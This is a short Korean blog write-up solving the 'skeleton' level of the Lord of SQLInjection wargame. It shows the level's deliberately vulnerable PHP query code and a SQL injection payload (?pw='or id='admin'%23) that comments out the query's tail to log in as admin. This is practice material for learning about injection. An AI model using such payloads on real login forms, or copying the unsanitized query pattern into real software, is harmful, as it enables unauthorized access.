본문 바로가기
  • Show the world what you can do
Web2/LoS

[LoS] skeleton 풀이

by kaymin 2022. 11. 10.
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("skeleton"); 
  highlight_file(__FILE__); 
?>

쿼리에선 pw를 받고 1=0이라는 문제가 많은 문장이 있지만 주석처리하면 되니 문제가 없다!

?pw='or id='admin'%23를 붙여주면 끝!

 

성공!

'Web2 > LoS' 카테고리의 다른 글

[LoS] golem 풀이  (0) 2022.11.11
[LoS] darkelf 풀이  (0) 2022.11.11
[LoS] vampire 풀이  (0) 2022.11.10
[LoS] troll 풀이  (0) 2022.11.10
[LoS] orge 풀이  (0) 2022.11.10

댓글